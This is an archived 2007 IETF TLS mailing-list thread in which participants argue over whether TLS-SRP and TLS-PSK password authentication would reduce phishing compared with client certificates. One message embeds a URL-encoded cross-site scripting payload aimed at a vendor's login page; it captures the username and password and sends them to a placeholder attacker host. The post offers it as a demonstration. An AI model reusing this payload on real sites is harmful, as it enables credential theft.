Subject: Re: [TLS] Straw poll on TLS SRP status

From: [email-masked] (Peter Gutmann)
Date: Fri, 01 Jun 2007 23:52:41 +1200

Martin Rex <[email-masked]> writes:

>The main reason why I brought it up is because most the installed base is
>able to cope with SSL clients certs.

I think you need to break that down into two parts: The majority of the
installed (SSL-using) application base can process client certs.  However, the
vast majority of the installed user base is totally unable to handle client
certs.  See e.g. "In search of usable security - five lessons from the field"
by Balfanz et al (that's the first one that comes to mind, I can dig up a
dozen others if people want).  All of them come to pretty much the same
conclusion: PKI/certs are too complex for the average person to handle.  The
phishing industry can confirm this - you can't argue with $4 billion a year
(YMMV) in profits based on lack of proper auth mechanisms in browsers.

>I would not want to see additional password-based authentication schemes to
>be promoted that require significant changes to then entire
>infrastructure/middleware, because this will only add new problems, and not
>really solve any of the existing problems.

The existing problem is that we have nothing that offers even the most trivial
resistance to phishing, and that after 15-odd years of trying we still can't
get past username+password without first performing a firmware upgrade of a
billion-odd users worldwide, which is unlikely to ever happen.

For a nice example of how this will hit even expert users, go to

https://www.zonealarm.com/store/application?namespace=zls_user&event=link.login&dc=34std&ctry=US&lang=en&hexkey=FEAB37CDAA8DC8F419BA56AA4B45C4AD8CF8496F921D8DA34A22CB284A36CAAA73F5C4F9C2B835EEA32F691CFC64249DAFAE221EC57677FBCC5171E151B8734CFF562FA4CA891A9EB908BFEB74D98DD38C110E933CA8A64DDA8E548D95E492FD5235F8EFA79101943E17B0E2017194398E46E80CF43099CD42A42CDC3EFFEBA&origin=glo%22%3E%3Cscript%3Efunction%20xss()%20%7B%0A%20var%20f%20%3D%20document.forms%5B2%5D%3B%20%2F%2F%20grab%20the%203rd%20form%20in%20the%20page%2C%20the%20login%20one%0A%20%0A%20if(!(f%20%26%26%20f.zl_user_name%20%26%26%20f.zl_user_password))%20return%20%2F%2F%20nothing%20to%20see%20here%0A%20if(f.zl_user_name.value%20%26%26%20f.zl_user_password.value)%20%7B%0A%20%20%20%2F%2F%20we've%20got%20everything%2C%20let's%20phone%20home%0A%20%20%20new%20Image().src%3D%22hxxp%3A%2F%2Felio-the-evil-hacker.com%3Fu%3D%22%20%2B%20%0A%20%20%20%20%20escape(f.zl_user_name.value)%20%2B%20%22%26p%3D%22%20%2B%20%0A%20%20%20%20%2
 0escape(f.zl_user_password.value)%3B%0A%0A%20%20%2F%2F%20OK%2C%20this%20is%20just%20a%20demo%0A%20%20document.body.innerHTML%20%3D%20%22Your%20credentials%20have%20just%20been%20stolen%3A%3Cbr%3E%22%20%2B%20%0A%20%20%20%20%20%20%20f.zl_user_name.value%20%2B%20%22%2C%20%22%20%2B%20%0A%20%20%20%20%20%20%20f.zl_user_password.value%20%2B%20%22%3Ch1%3EMWAHAHAHA!%3C%2Fh1%3E%22%3B%0A%20%20return%3B%0A%20%7D%0A%20if((f.zl_user_password.onchange%20%7C%7C%20null)%20%3D%3D%20xss)%20return%3B%0A%20f.zl_user_name.onchange%20%3D%20xss%3B%0A%20f.zl_user_password.onchange%20%3D%20xss%3B%0A%20%0A%7D%0Awindow.onload%20%3D%20xss%3B%3C/script%3E%3Cinput%20type%3D%22hidden%22%20name%3D%22bal.jsp

verify the SSL cert and every other browser security indicator you want, then
enter a (dummy) user name and password and hit enter (the result isn't
malicious, just unexpected).

Anyway, there are two solutions:

1. Sit back and wait for client certs to start working.  Hey, we've been
   waiting for fifteen-odd years already, they've gotta start working at some
   point, right?

2. Accept that username+password isn't going to go away (ever) and try and fix
   it by providing a proper security mechanism for it (mutual-auth challenge-
   response, for example).

I'm going for #2, which would seriously impact phishing if properly
implemented (admittedly it's not a silver bullet, but it'd seriously raise the
bar for phishing attacks, which is a step in the right direction).

The phishers in contrast are counting on people opting for #1 instead.

>Here in Germany, most banks use an OTP-style approach (TAN) for
>authenticating transactions.

In a previous message I commented that the use of hand-over-the-password,
circa 1965, had to be the ultimate indictment of the failure of browser
authentication mechanisms, but I think this is even more damning: Banks are
having to resort to printing and mailing out lists of TANs (i.e. physical
distribution of codebooks), a technique going back to the middle ages, because
security protocol designers haven't been able to provide them with anything
better.  Instead of requiring organisations who care about security to get
medieval on your keyboard, let's give them something they can use.

>If we think that passwords are fundamentally flawed in this environment, we
>should not significantly prolong and promote their continued use by applying
>band aids.

Give me an alternative, backed by independent usability studies to show that
users will be able to handle it, and I'll go with it.  So far we have
*nothing* that can effectively replace passwords.  Again, I can cite any
number of HCI studies to back this up if you want.  To paraphrase Winston
Churchill, "passwords are the worst form of user authentication, except for
all the others".

Peter.

_______________________________________________
TLS mailing list
[email-masked]
https://www1.ietf.org/mailman/listinfo/tls

---

From: "Kemp, David P." <[email-masked]>
Date: Mon, 4 Jun 2007 15:17:26 -0400

Peter,

I don't see how either #1 or #2 would have much impact on phishing.

Scenario:
1) Server-authenticated TLS to a phishing server with a plausible
   variation on a targeted legitimate server name
2) User ignores padlock and other cert-related HMI information
  (if the user actually checked the authenticated server name and
   recoiled in horror if not as expected, then phishing would not
   be a problem)
3) User authenticates with a) nothing, b) http basic auth, c) client
   cert, or d) SRP - it doesn't matter which
4) Phishing server puts up a form that says: enter SSN, mother's
   maiden name, and password.

If someone is phishing for information to enable identity theft,
then user authentication has no preventive benefit
whatsoever.  If someone is phishing for passwords for online
accounts, then the users who don't check server authentication
are also unlikely to non-comply with a socially-engineered
request to enter their password into a form.

SRP might raise the bar on password phishing slightly, but not
significantly.  And the bar on phishing for everything except
a targeted server's password would not be raised at all.

The way to prevent phishing is to make server authentication
work.  Attacking this problem with client authentication is like
driving screws with a hammer.  Any mechanism that permits the
user to know his password is vulnerable to phishing.  And any
password mechanism that is not vulnerable to phishing, like a browser
module that invisibly generates random passwords for TLS
authenticated web sites and only regurgitates a password to
the site it was generated for, has the same operational issues
as client certs (server needs to request password generation,
user needs to carry p12s for portability to other machines, etc).

Dave

-----Original Message-----
From: Peter Gutmann [mailto:[email-masked]] 

1. Sit back and wait for client certs to start working.  Hey, we've been
   waiting for fifteen-odd years already, they've gotta start working at
some
   point, right?

2. Accept that username+password isn't going to go away (ever) and try
and fix
   it by providing a proper security mechanism for it (mutual-auth
challenge-
   response, for example).

I'm going for #2, which would seriously impact phishing if properly
implemented (admittedly it's not a silver bullet, but it'd seriously
raise the
bar for phishing attacks, which is a step in the right direction).

---

From: Yoav Nir <[email-masked]>
Date: Tue, 5 Jun 2007 08:38:32 +0300

IMO SRP provides a significant advantage.

I think point #2 in your scenario is a little overstated. Many users  
will look for the padlock. They may not check the authenticated  
server name, and they will fall for plausible variations, but it's  
relatively easy to educate them to look for the padlock.

SRP raises the bar, because once it's widespread, weird server names  
become meaningless. All you need to do is educate the user that you  
never enter passwords on a form, only in the browser special window.  
Browser makers can make visual clues that are hard to imitate in HTML  
to differentiate the password window from anything coming from the  
server. Think of the screen dimming that some Linux variations (like  
Ubuntu) give you when they ask for the administrator password.

That way, if the server is an illegitimate phishing server, it (1)  
doesn't get your password, and (2) fails authentication.

With SRP (whether directly in TLS or through EAP) you can reduce the  
requirements from the user to
  (1) make sure it's SSL (starts with https, colored yellow, padlock)
  (2) Only enter passwords in the password window, not on a form.

I think these two are learnable for the majority of users. Can't say  
the same for verifying server DN.

---

From: [email-masked] (Peter Gutmann)
Date: Tue, 05 Jun 2007 18:59:48 +1200

"Kemp, David P." <[email-masked]> writes:

>[...]

With SRP, the user can't connect until the server's already proven knowledge
of the username and password, so the phisher can never even get to step 4.

>If someone is phishing for information to enable identity theft, then user
>authentication has no preventive benefit whatsoever.

SRP isn't user authentication, it's mutual authentication of client and
server.  So is TLS-PSK.

>The way to prevent phishing is to make server authentication work.

Exactly.  That's what TLS-PSK and TLS-SRP do.  Thankyou for supporting my
argument :-).

Peter.

---

From: "Kemp, David P." <[email-masked]>
Date: Tue, 5 Jun 2007 09:42:48 -0400

A client-cert-authenticated TLS session cannot be established without
validating the cert either.  However, I assume a phishing site would
be designed to make it as easy as possible for the user to connect,
not more difficult, which means the server would not negotiate SRP, PSK,
or client certs before putting up the form.

I believe some users could be trained to never enter passwords into
a web site unless a special local screen effect is used, but that
would require every passworded site on the web to use PBE.  But even
if that happened, I don't believe my mom, or the majority of non Ubuntu
users, could be trained to resist the pitch "PayPal(tm) is changing for
the better!  Come experience our fresh new look at www.newpaypal.com".

I'm not saying strong user authentication with PBE (SRP, EKE, etc) is a
bad idea.  I'm just saying that phish prevention is not a very effective
justification for it, because 1) the bad guys aren't going to use it,
and 2) PBE can't prevent the other gazillion ways of socially
engineering information out of marks (er, users).

Dave

-----Original Message-----
From: pgut001 [mailto:[email-masked]] 
Sent: Tuesday, June 05, 2007 3:00 AM
To: Kemp, David P.; [email-masked]
Subject: RE: [TLS] Straw poll on TLS SRP status

>   maiden name, and password.

With SRP, the user can't connect until the server's already proven
knowledge
of the username and password, so the phisher can never even get to step
4.

>The way to prevent phishing is to make server authentication work.

Exactly.  That's what TLS-PSK and TLS-SRP do.  Thankyou for supporting
my
argument :-).

Peter.

---

From: Martin Rex <[email-masked]>
Date: Wed, 13 Jun 2007 01:03:08 +0200 (MEST)

> medieval on your keyboard, let's give them something they can use.

If the threat model is phishing and trojaning of the PC and browser,
then printing and mailing out lists of TANs is a cheap and low-tech
"trusted hardware OTP" solution to this problem, that works remarkably
well and is easily understood by large parts of the population and
is quite similar to all "password-based credential distribution"
that banks (and mobile telcos) have been using.

The economic incentive for the service providers is what drives
that decisions.  The end user has no say in this, and frankly,
neither do we as the technology providers.

As you know, smartcard technology isn't new.  But the adoption is
limited to those areas where there is an economic incentive for the
security level of the technology for the service providers.

What really worries me is that it is difficult to protect against
CSRF (cross-site request forgery), because sites like eBay fully
rely on this architectural flaw to work.  (But for a notable exception,
eBay itself seems to work fine with active content disabled).

-Martin